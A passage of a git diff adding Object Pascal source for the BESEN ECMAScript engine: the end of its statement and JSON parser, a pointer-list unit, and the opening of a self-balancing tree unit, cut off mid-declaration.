function ParseReturnStatement:TBESENASTNodeReturnStatement; + begin + result:=nil; + try + if not IsInFunction then begin + raise EBESENSyntaxError.Create('Return outside a function'); + end; + result:=TBESENASTNodeReturnStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkRETURN); + if not NextIsSemicolon then begin + if CurrentToken.WasLineEnd then begin + AddError('Illegal line terminator after return'); + end; + result.Expression:=ParseExpression(true); + end; + ParseOptionalSemicolon; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseThrowStatement:TBESENASTNodeThrowStatement; + begin + result:=nil; + try + result:=TBESENASTNodeThrowStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkTHROW); + if CurrentToken.WasLineEnd then begin + AddError('Illegal line terminator after throw'); + end; + result.Expression:=ParseExpression(true); + ParseOptionalSemicolon; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseTryStatement:TBESENASTNodeTryStatement; + begin + result:=nil; + try + result:=TBESENASTNodeTryStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkTRY); + + result.CatchBlock:=nil; + result.FinallyBlock:=nil; + result.CatchIdentifier:=nil; + + result.TryBlock:=ParseBlockStatement; + + if (CurrentToken.TokenType<>ltkCATCH) and (CurrentToken.TokenType<>ltkFINALLY) then begin + AddError('catch or finally expected after try'); + end; + + if CurrentToken.TokenType=ltkCATCH then begin + SkipToken(ltkCATCH); + SkipToken(ltoOPENPAREN); + result.CatchIdentifier:=ParseIdentifier(not TBESEN(Instance).IsStrict); + SkipToken(ltoCLOSEPAREN); + result.CatchBlock:=ParseBlockStatement; + end; + + if CurrentToken.TokenType=ltkFINALLY then begin + SkipToken(ltkFINALLY); + result.FinallyBlock:=ParseBlockStatement; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseSwitchStatement:TBESENASTNodeSwitchStatement; + var CaseStatements:integer; + CaseStatement:TBESENASTNodeCaseStatement; + DefaultSeen:boolean; + LabelSet:TBESENParserLabelSet; + begin + result:=nil; + try + result:=TBESENASTNodeSwitchStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkSWITCH); + + LabelSet:=LabelSetCurrent; + LabelSet.Continuable:=true; + LabelEnter('',result); + + result.Target:=LabelSet.Target; + + DefaultSeen:=false; + + SkipToken(ltoOPENPAREN); + result.Expression:=ParseExpression(true); + SkipToken(ltoCLOSEPAREN); + + CaseStatements:=0; + SkipToken(ltoOPENBRACE); + while (CurrentToken.TokenType<>ltoCLOSEBRACE) and not Lexer.IsEOF do begin + if CaseStatements>=length(result.CaseStatements) then begin + SetLength(result.CaseStatements,CaseStatements+256); + end; + result.CaseStatements[CaseStatements]:=TBESENASTNodeCaseStatement.Create(Instance); + result.CaseStatements[CaseStatements].Location.LineNumber:=Lexer.LineNumber; + CaseStatement:=result.CaseStatements[CaseStatements]; + inc(CaseStatements); + + CaseStatement.Expression:=nil; + + if CurrentToken.TokenType=ltkCASE then begin + SkipToken(ltkCASE); + CaseStatement.Expression:=ParseExpression(true); + SkipToken(ltoCOLON); + end else begin + if DefaultSeen then begin + AddError('duplication default clause in switch statement'); + end else begin + DefaultSeen:=true; + SkipToken(ltkDEFAULT); + SkipToken(ltoCOLON); + end; + end; + + CaseStatement.Statements:=ParseStatementList(true); + end; + SetLength(result.CaseStatements,CaseStatements); + + SkipToken(ltoCLOSEBRACE); + LabelLeave; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseVariableStatement:TBESENASTNodeVariableStatement; + var Count:integer; + begin + result:=nil; + try + result:=TBESENASTNodeVariableStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkVAR); + + result.Declarations:=niL; + Count:=1; + SetLength(result.Declarations,Count); + result.Declarations[0]:=ParseVariableDeclaration(true); + while (CurrentToken.TokenType=ltoCOMMA) and not Lexer.IsEOF do begin + SkipToken(ltoCOMMA); + if Count>=length(result.Declarations) then begin + SetLength(result.Declarations,Count+256); + end; + result.Declarations[Count]:=ParseVariableDeclaration(true); + inc(Count); + end; + SetLength(result.Declarations,Count); + + ParseOptionalSemicolon; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseWhileStatement:TBESENASTNodeWhileStatement; + var LabelSet:TBESENParserLabelSet; + begin + result:=nil; + try + result:=TBESENASTNodeWhileStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + LabelSet:=LabelSetCurrent; + LabelSet.Continuable:=true; + LabelEnter('',result); + result.Target:=LabelSet.Target; + SkipToken(ltkWHILE); + + SkipToken(ltoOPENPAREN); + result.Expression:=ParseExpression(true); + SkipToken(ltoCLOSEPAREN); + + result.Statement:=ParseStatement(true); + LabelLeave; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseWithStatement:TBESENASTNodeWithStatement; + begin + result:=nil; + try + if TBESEN(Instance).IsStrict then begin + AddError('WITH isn''t allowed in strict mode'); + end; + result:=TBESENASTNodeWithStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkWITH); + + SkipToken(ltoOPENPAREN); + result.Expression:=ParseExpression(true); + SkipToken(ltoCLOSEPAREN); + + result.Statement:=ParseStatement(true); + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseExpressionStatement:TBESENASTNodeStatement; + var Expression:TBESENASTNodeExpression; + LabelSet,OldLabelSet:TBESENParserLabelSet; + ln,LabelCount:integer; + OldToken:TBESENLexerToken; + begin + ln:=Lexer.LineNumber; + result:=nil; + Expression:=nil; + try + Expression:=ParseExpression(true); + if (Expression is TBESENASTNodeIdentifier) and (CurrentToken.TokenType=ltoCOLON) then begin + SkipToken(ltoCOLON); + + result:=TBESENASTNodeLabelledStatement.Create(Instance); + result.Location.LineNumber:=ln; + + SetLength(TBESENASTNodeLabelledStatement(result).Identifiers,1); + TBESENASTNodeLabelledStatement(result).Identifiers[0]:=TBESENASTNodeIdentifier(Expression); + + Expression:=nil; + + OldLabelSet:=CurrentLabelSet; + CurrentLabelSet:=nil; + + LabelSet:=LabelSetCurrent; + LabelSet.Continuable:=true; + + LabelCount:=1; + LabelEnter(TBESENASTNodeLabelledStatement(result).Identifiers[0].Name,result); + while true do begin + OldToken:=CurrentToken; + if CurrentToken.TokenType=lttIDENTIFIER then begin + Expression:=ParseIdentifier(true); + if assigned(Expression) and (Expression is TBESENASTNodeIdentifier) and (CurrentToken.TokenType=ltoCOLON) then begin + SkipToken(ltoCOLON); + if LabelCount>=length(TBESENASTNodeLabelledStatement(result).Identifiers) then begin + SetLength(TBESENASTNodeLabelledStatement(result).Identifiers,LabelCount+256); + end; + TBESENASTNodeLabelledStatement(result).Identifiers[LabelCount]:=TBESENASTNodeIdentifier(Expression); + LabelEnter(TBESENASTNodeLabelledStatement(result).Identifiers[LabelCount].Name,result); + inc(LabelCount); + end else begin + if assigned(Expression) then begin + BESENFreeAndNil(Expression); + end; + Lexer.Restore(OldToken); + NextToken; + break; + end; + end else begin + break; + end; + end; + SetLength(TBESENASTNodeLabelledStatement(result).Identifiers,LabelCount); + + TBESENASTNodeLabelledStatement(result).Target:=LabelSet.Target; + TBESENASTNodeLabelledStatement(result).Statement:=ParseStatement(not (CurrentToken.TokenType in [ltkFOR,ltkWHILE,ltkDO])); + + while LabelCount>0 do begin + dec(LabelCount); + LabelLeave; + end; + + if assigned(CurrentLabelSet) then begin + LabelSetList[CurrentLabelSet.Index]:=nil; + BESENFreeAndNil(CurrentLabelSet); + end; + CurrentLabelSet:=OldLabelSet; + + end else begin + ParseOptionalSemicolon; + result:=TBESENASTNodeExpressionStatement.Create(Instance); + result.Location.LineNumber:=ln; + TBESENASTNodeExpressionStatement(result).Expression:=Expression; + Expression:=nil; + end; + except + BESENFreeAndNil(result); + BESENFreeAndNil(Expression); + raise; + end; + end; + function ParseFunctionStatement:TBESENASTNodeStatement; + var Expression:TBESENASTNodeAssignmentExpression; + begin + result:=nil; + try + result:=TBESENASTNodeExpressionStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + TBESENASTNodeExpressionStatement(result).Expression:=TBESENASTNodeAssignmentExpression.Create(Instance); + Expression:=TBESENASTNodeAssignmentExpression(TBESENASTNodeExpressionStatement(result).Expression); + Expression.LeftExpression:=ParseIdentifier(not TBESEN(Instance).IsStrict); + Expression.RightExpression:=ParseFunctionExpression(false,false); + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseStatement(ResetCurrentLabelSet:boolean):TBESENASTNodeStatement; + var LineNumber:integer; + OldToken:TBESENLexerToken; + begin + result:=nil; + try + if ResetCurrentLabelSet then begin + CurrentLabelSet:=nil; + end; + LineNumber:=CurrentToken.LineNumber; + case CurrentToken.TokenType of + ltoSEMICOLON:begin + SkipToken(ltoSEMICOLON); + result:=TBESENASTNodeEmptyStatement.Create(Instance); + end; + ltoOPENBRACE:begin + result:=ParseBlockStatement; + end; + ltkDEBUGGER:begin + result:=ParseDebuggerStatement; + end; + ltkBREAK:begin + result:=ParseBreakStatement; + end; + ltkCONTINUE:begin + result:=ParseContinueStatement; + end; + ltkDO:begin + result:=ParseDoStatement; + end; + ltkFOR:begin + result:=ParseForStatement; + end; + ltkIF:begin + result:=ParseIfStatement; + end; + ltkRETURN:begin + result:=ParseReturnStatement; + end; + ltkTHROW:begin + result:=ParseThrowStatement; + end; + ltkTRY:begin + result:=ParseTryStatement; + end; + ltkSWITCH:begin + result:=ParseSwitchStatement; + end; + ltkVAR:begin + result:=ParseVariableStatement; + end; + ltkWHILE:begin + result:=ParseWhileStatement; + end; + ltkWITH:begin + result:=ParseWithStatement; + end; + else begin + if CurrentToken.TokenType=ltkFUNCTION then begin + OldToken:=CurrentToken; + SkipToken(ltkFUNCTION); + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + if CurrentToken.TokenType<>ltoOPENPAREN then begin + result:=ParseFunctionStatement; + end else begin + Lexer.Restore(OldToken); + NextToken; + result:=ParseExpressionStatement; + end; + end else begin + AddError('function keyword not allowed here'); + result:=nil; + end; + end else begin + result:=ParseExpressionStatement; + end; + end; + end; + if assigned(result) then begin + result.Location.LineNumber:=LineNumber; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseSourceElement:TBESENASTNodeStatement; + begin + result:=nil; + try + if CurrentToken.TokenType=ltkFUNCTION then begin + result:=ParseFunctionDeclaration; + end else begin + result:=ParseStatement(true); + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + procedure CheckJSON(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}); + var Position:integer; + CurrentChar:TBESENUTF32CHAR; + CharEOF:boolean; + procedure NextChar; +{$ifdef BESENSingleStringType} + var Len:integer; +{$else} + var b:byte; +{$endif} + begin + if (Position>=1) and (Position<=length(Source)) then begin +{$ifdef BESENSingleStringType} +{$ifdef BESENEmbarcaderoNextGen} + CurrentChar:=Char.ConvertToUTF32(s,Position-1,Len); + inc(Position,Len); +{$else} + CurrentChar:=ord(Source[Position]); + inc(Position); + if (Position<=length(Source)) and ((SizeOf(Source[Position])=SizeOf(word)) and (((CurrentChar and $fc00)=$d800) and ((ord(Source[Position]) and $fc00)=$dc00))) then begin + // UTF16 + CurrentChar:=(((CurrentChar and $3ff) shl 10) or (ord(Source[Position]) and $3ff))+$10000; + inc(Position); + end; +{$endif} +{$else} + b:=byte(Source[Position]); + if (b and $80)=0 then begin + CurrentChar:=b; + inc(Position); + end else if ((Position+1)<=length(Source)) and ((b and $e0)=$c0) and ((byte(Source[Position+1]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $1f) shl 6) or (byte(Source[Position+1]) and $3f); + inc(Position,2); + end else if ((Position+2)<=length(Source)) and ((b and $f0)=$e0) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $0f) shl 12) or ((byte(Source[Position+1]) and $3f) shl 6) or (byte(Source[Position+2]) and $3f); + inc(Position,3); + end else if ((Position+3)<=length(Source)) and ((b and $f8)=$f0) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) and ((byte(Source[Position+3]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $07) shl 18) or ((byte(Source[Position+1]) and $3f) shl 12) or ((byte(Source[Position+2]) and $3f) shl 6) or (byte(Source[Position+3]) and $3f); + inc(Position,4); + end else if {$ifdef strictutf8}((TBESEN(Instance).Compatibility and COMPAT_UTF8_UNSAFE)<>0) and{$endif} ((Position+4)<=length(Source)) and ((b and $fc)=$f8) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) and ((byte(Source[Position+3]) and $c0)=$80) and ((byte(Source[Position+4]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $03) shl 24) or ((byte(Source[Position+1]) and $3f) shl 18) or ((byte(Source[Position+2]) and $3f) shl 12) or ((byte(Source[Position+3]) and $3f) shl 6) or (byte(Source[Position+4]) and $3f); + inc(Position,5); + end else if {$ifdef strictutf8}((TBESEN(Instance).Compatibility and COMPAT_UTF8_UNSAFE)<>0) and{$endif} ((Position+5)<=length(Source)) and ((b and $fe)=$fc) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) and ((byte(Source[Position+3]) and $c0)=$80) and ((byte(Source[Position+4]) and $c0)=$80) and ((byte(Source[Position+5]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $01) shl 30) or ((byte(Source[Position+1]) and $3f) shl 24) or ((byte(Source[Position+2]) and $3f) shl 18) or ((byte(Source[Position+3]) and $3f) shl 12) or ((byte(Source[Position+4]) and $3f) shl 6) or (byte(Source[Position+5]) and $3f); + inc(Position,6); + end else begin + CurrentChar:=$fffd; + inc(Position); + end; +{$endif} + end else begin + CurrentChar:=0; + CharEOF:=true; + end; + end; + procedure JSONError; + begin + raise EBESENSyntaxError.Create('JSON.parse'); + end; + procedure SkipWhite; + begin + while (not CharEOF) and ((CurrentChar=$0009) or (CurrentChar=$000a) or (CurrentChar=$000d) or (CurrentChar=$0020)) do begin + NextChar; + end; + end; + function IsChar(c:widechar):boolean; + begin + result:=(not CharEOF) and (CurrentChar=word(c)); + end; + procedure ExpectChar(c:widechar); + begin + if IsChar(c) then begin + NextChar; + end else begin + JSONError; + end; + end; + procedure CheckValue; + procedure CheckString; + begin + if IsChar('"') then begin + NextChar; + while not (CharEOF or IsChar('"')) do begin + case CurrentChar of + $0000..$001f:begin + JSONError; + end; + ord('\'):begin + NextChar; + case CurrentChar of + ord('"'),ord('\'),ord('/'),ord('b'),ord('f'),ord('n'),ord('r'),ord('t'):begin + NextChar; + end; + ord('u'):begin + NextChar; + if (((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F')))) and not CharEOF then begin + NextChar; + if (((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F')))) and not CharEOF then begin + NextChar; + if (((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F')))) and not CharEOF then begin + NextChar; + if (((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F')))) and not CharEOF then begin + NextChar; + end else begin + JSONError; + end; + end else begin + JSONError; + end; + end else begin + JSONError; + end; + end else begin + JSONError; + end; + end; + else begin + JSONError; + end; + end; + end; + else begin + NextChar; + end; + end; + end; + ExpectChar('"'); + end else begin + JSONError; + end; + SkipWhite; + end; + procedure CheckNumber; + begin + if CharEOF then begin + JSONError; + end; + case CurrentChar of + ord('-'),ord('0')..ord('9'):begin + if IsChar('-') then begin + NextChar; + if CharEOF or not ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) then begin + JSONError; + end; + end; + if (not CharEOF) and (CurrentChar=ord('0')) then begin + NextChar; + if (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) then begin + JSONError; + end; + end else begin + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + NextChar; + end; + end; + if IsChar('.') then begin + NextChar; + if CharEOF or not ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) then begin + JSONError; + end; + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + NextChar; + end; + end; + if (not CharEOF) and ((CurrentChar=ord('e')) or (CurrentChar=ord('E'))) then begin + NextChar; + if (not CharEOF) and ((CurrentChar=ord('-')) or (CurrentChar=ord('+'))) then begin + NextChar; + end; + if CharEOF or not ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) then begin + JSONError; + end; + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + NextChar; + end; + end; + end else begin + JSONError; + end; + end; + end; + procedure CheckObjectProperty; + begin + CheckString; + SkipWhite; + ExpectChar(':'); + SkipWhite; + CheckValue; + end; + procedure CheckObject; + begin + ExpectChar('{'); + SkipWhite; + while not (CharEOF or IsChar('}')) do begin + CheckObjectProperty; + SkipWhite; + if IsChar(',') then begin + NextChar; + SkipWhite; + if (not CharEOF) and IsChar('}') then begin + JSONError; + end; + end; + end; + ExpectChar('}'); + end; + procedure CheckArray; + begin + ExpectChar('['); + SkipWhite; + while not (CharEOF or IsChar(']')) do begin + CheckValue; + SkipWhite; + if IsChar(',') then begin + NextChar; + SkipWhite; + if (not CharEOF) and IsChar(']') then begin + JSONError; + end; + end; + end; + ExpectChar(']'); + end; + procedure CheckKeyword(const Keyword:TBESENString); + var i:integer; + begin + for i:=1 to length(Keyword) do begin + ExpectChar(Keyword[i]); + end; + end; + begin + SkipWhite; + if CharEOF then begin + JSONError; + end; + case CurrentChar of + ord('{'):begin + CheckObject; + end; + ord('['):begin + CheckArray; + end; + ord('"'):begin + CheckString; + end; + ord('-'),ord('0')..ord('9'):begin + CheckNumber; + end; + ord('t'):begin + CheckKeyword('true'); + end; + ord('f'):begin + CheckKeyword('false'); + end; + ord('n'):begin + CheckKeyword('null'); + end; + else begin + JSONError; + end; + end; + end; + begin + CharEOF:=false; + Position:=1; + NextChar; + CheckValue; + SkipWhite; + if not CharEOF then begin + JSONError; + end; + end; +var Statement:TBESENASTNodeStatement; + OldIsStrict:boolean; + OldToken:TBesenLexerToken; + procedure ParseJSONStatements; + var i:integer; + begin + try + SetLength(TBESENASTNodeProgram(result).Body.Statements,0); + if not Lexer.IsEOF then begin + Statement:=ParseExpressionStatement; + if assigned(Statement) then begin + SetLength(TBESENASTNodeProgram(result).Body.Statements,1); + TBESENASTNodeProgram(result).Body.Statements[0]:=Statement; + end else begin + AddError('Fatal error'); + end; + end; + except + for i:=0 to length(TBESENASTNodeProgram(result).Body.Statements)-1 do begin + BesenFreeAndNil(TBESENASTNodeProgram(result).Body.Statements[i]); + end; + SetLength(TBESENASTNodeProgram(result).Body.Statements,0); + raise; + end; + end; + procedure ParseProgramStatements; + var IsDirectivePrologue,FirstDirective:boolean; + Statements,i:integer; + begin + Statements:=0; + try + IsDirectivePrologue:=true; + FirstDirective:=true; + UseStrictAlreadyParsed:=false; + while not Lexer.IsEOF do begin + if IsDirectivePrologue then begin + ParseDirective(IsDirectivePrologue,FirstDirective,TBESENASTNodeProgram(result).Body); + end; + Statement:=ParseSourceElement; + if assigned(Statement) then begin + if Statements>=length(TBESENASTNodeProgram(result).Body.Statements) then begin + SetLength(TBESENASTNodeProgram(result).Body.Statements,Statements+256); + end; + TBESENASTNodeProgram(result).Body.Statements[Statements]:=Statement; + inc(Statements); + end else begin + AddError('Fatal error'); + break; + end; + end; + SetLength(TBESENASTNodeProgram(result).Body.Statements,Statements); + except + for i:=0 to Statements-1 do begin + BesenFreeAndNil(TBESENASTNodeProgram(result).Body.Statements[i]); + end; + SetLength(TBESENASTNodeProgram(result).Body.Statements,0); + Statements:=0; + raise; + end; + end; +begin + Labels:=nil; + LabelSets:=nil; + CurrentLabelSet:=nil; + LabelSetList:=TBESENPointerList.Create; + LabelList:=TBESENPointerList.Create; + OldIsStrict:=TBESEN(Instance).IsStrict; + try + NextToken; + InForHeader:=false; + if IsFunction then begin + IsInFunction:=true; + try + result:=ParseFunctionExpression(true,false); + except + result:=nil; + raise; + end; + end else if IsJSON then begin + IsInFunction:=false; + result:=TBESENASTNodeProgram.Create(Instance); + try + CheckJSON(Lexer.Source); + TBESEN(Instance).IsStrict:=false; + TBESENASTNodeProgram(result).Body.IsStrict:=TBESEN(Instance).IsStrict; + ParseJSONStatements; + except + SetLength(TBESENASTNodeProgram(result).Body.Statements,0); + raise; + end; + end else begin + IsInFunction:=false; + result:=TBESENASTNodeProgram.Create(Instance); + try + OldToken:=CurrentToken; + TBESENASTNodeProgram(result).Body.IsStrict:=TBESEN(Instance).IsStrict; + try + ParseProgramStatements; + except + on e:EBESENUseStrict do begin + TBESENASTNodeProgram(result).Body.IsStrict:=TBESEN(Instance).IsStrict; + Lexer.Restore(OldToken); + NextToken; + ParseProgramStatements; + end; + end; + TBESENASTNodeProgram(result).Body.IsStrict:=TBESEN(Instance).IsStrict; + except + SetLength(TBESENASTNodeProgram(result).Body.Statements,0); + raise; + end; + end; + finally + CurrentToken.Name:=''; + CurrentToken.StringValue:=''; + CleanUpLabels; + TBESEN(Instance).IsStrict:=OldIsStrict; + BESENFreeAndNil(LabelSetList); + BESENFreeAndNil(LabelList); + end; +end; + +end. diff --git a/Core/JS/BESENPointerList.pas b/Core/JS/BESENPointerList.pas new file mode 100644 index 0000000..4d14424 --- /dev/null +++ b/Core/JS/BESENPointerList.pas @@ -0,0 +1,230 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENPointerList; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +type PBESENPointerArray=^TBESENPointerArray; + TBESENPointerArray=array[0..(2147483647 div sizeof(pointer))-1] of pointer; + + TBESENPointerList=class + private + FList:PBESENPointerArray; + FCount,FSize:integer; + function GetItem(index:integer):pointer; + procedure SetItem(index:integer;Value:pointer); + function GetItemPointer(index:integer):pointer; + public + constructor Create; + destructor Destroy; override; + procedure Clear; + function Add(Item:pointer):integer; + procedure Insert(index:integer;Item:pointer); + procedure Delete(index:integer); + function Remove(Item:pointer):integer; + function Find(Item:pointer):integer; + function IndexOf(Item:pointer):integer; + procedure Exchange(Index1,Index2:integer); + procedure SetCapacity(NewCapacity:integer); + procedure SetCount(NewCount:integer); + property Count:integer read FCount; + property Capacity:integer read FSize write SetCapacity; + property Item[index:integer]:pointer read GetItem write SetItem; default; + property Items[index:integer]:pointer read GetItem write SetItem; + property PItems[index:integer]:pointer read GetItemPointer; + end; + +implementation + +constructor TBESENPointerList.Create; +begin + inherited Create; + FCount:=0; + FSize:=0; + FList:=nil; + Clear; +end; + +destructor TBESENPointerList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENPointerList.Clear; +begin + FCount:=0; + FSize:=0; + ReallocMem(FList,0); +end; + +procedure TBESENPointerList.SetCapacity(NewCapacity:integer); +begin + if (NewCapacity>=0) and (NewCapacity<high(TBESENPointerArray)) then begin + NewCapacity:=(NewCapacity+256) and not 255; + if FSize<>NewCapacity then begin + ReallocMem(FList,NewCapacity*sizeof(pointer)); + if FSize<NewCapacity then begin + FillChar(FList^[FSize],(NewCapacity-FSize)*sizeof(pointer),#0); + end; + FSize:=NewCapacity; + end; + end; +end; + +procedure TBESENPointerList.SetCount(NewCount:integer); +begin + if (NewCount>=0) and (NewCount<high(TBESENPointerArray)) then begin + if NewCount<FCount then begin + FillChar(FList^[NewCount],(FCount-NewCount)*sizeof(pointer),#0); + end; + SetCapacity(NewCount); + FCount:=NewCount; + end; +end; + +function TBESENPointerList.Add(Item:pointer):integer; +begin + result:=FCount; + SetCount(result+1); + FList^[result]:=Item; +end; + +procedure TBESENPointerList.Insert(index:integer;Item:pointer); +var I:integer; +begin + if (index>=0) and (index<FCount) then begin + SetCount(FCount+1); + for I:=FCount-1 downto index do FList^[I+1]:=FList^[I]; + FList^[index]:=Item; + end else if index=FCount then begin + Add(Item); + end else if index>FCount then begin + SetCount(index); + Add(Item); + end; +end; + +procedure TBESENPointerList.Delete(index:integer); +var I,J,K:integer; +begin + if (index>=0) and (index<FCount) then begin + K:=FCount-1; + J:=index; + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + end; +end; + +function TBESENPointerList.Remove(Item:pointer):integer; +var I,J,K:integer; +begin + result:=-1; + K:=FCount; + J:=-1; + for I:=0 to K-1 do begin + if FList^[I]=Item then begin + J:=I; + break; + end; + end; + if J>=0 then begin + dec(K); + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + result:=J; + end; +end; + +function TBESENPointerList.Find(Item:pointer):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +function TBESENPointerList.IndexOf(Item:pointer):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +procedure TBESENPointerList.Exchange(Index1,Index2:integer); +var TempPointer:pointer; +begin + if (Index1>=0) and (Index1<FCount) and (Index2>=0) and (Index2<FCount) then begin + TempPointer:=FList^[Index1]; + FList^[Index1]:=FList^[Index2]; + FList^[Index2]:=TempPointer; + end; +end; + +function TBESENPointerList.GetItem(index:integer):pointer; +begin + if (index>=0) and (index<FCount) then begin + result:=FList^[index]; + end else begin + result:=nil; + end; +end; + +procedure TBESENPointerList.SetItem(index:integer;Value:pointer); +begin + if (index>=0) and (index<FCount) then begin + FList^[index]:=Value; + end; +end; + +function TBESENPointerList.GetItemPointer(index:integer):pointer; +begin + if (index>=0) and (index<FCount) then begin + result:=@FList^[index]; + end else begin + result:=nil; + end; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENPointerSelfBalancedTree.pas b/Core/JS/BESENPointerSelfBalancedTree.pas new file mode 100644 index 0000000..d4f861b --- /dev/null +++ b/Core/JS/BESENPointerSelfBalancedTree.pas @@ -0,0 +1,630 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENPointerSelfBalancedTree; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils; + +type PBESENPointerSelfBalancedTreeValue=^TBESENPointerSelfBalancedTreeValue; + TBESENPointerSelfBalancedTreeValue=record + case boolean of + false:(i:int64); + true:(p:pointer); + end; + + PBESENPointerSelfBalancedTreeNode=^TBESENPointerSelfBalancedTreeNode; + TBESENPointerSelfBalancedTreeNode=record + Parent,Left,Right,PreviousKey,NextKey:PBESENPointerSelfBalancedTreeNode; + Level:int64; + Key:pointer; + Value:TBESENPointerSelfBalancedTreeValue; + end; + + TBESENPointerSelfBalancedTreeKeys=array of pointer; + + TBESENPointerSelfBalancedTree=class + protected + procedure Skew(OldParent:PBESENPointerSelfBalancedTreeNode); + function Split(OldParent:PBESENPointerSelfBalancedTreeNode):boolean; + procedure RebalanceAfterLeafAdd(n:PBESENPointerSelfBalancedTreeNode); + procedure DeleteNode(n:PBESENPointerSelfBalancedTreeNode); + function First(StartNode:PBESENPointerSelfBalancedTreeNode):PBESENPointerSelfBalancedTreeNode; + function Next(n:PBESENPointerSelfBalancedTreeNode):PBESENPointerSelfBalancedTreeNode; + function FindNode(const Key:pointer):PBESENPointerSelfBalancedTreeNode; + procedure ClearNode(var Node:PBESENPointerSelfBalancedTreeNode); + procedure OptimizeNode(var Node:PBESENPointerSelfBalancedTreeNode;MoreOptimize:boolean); + function 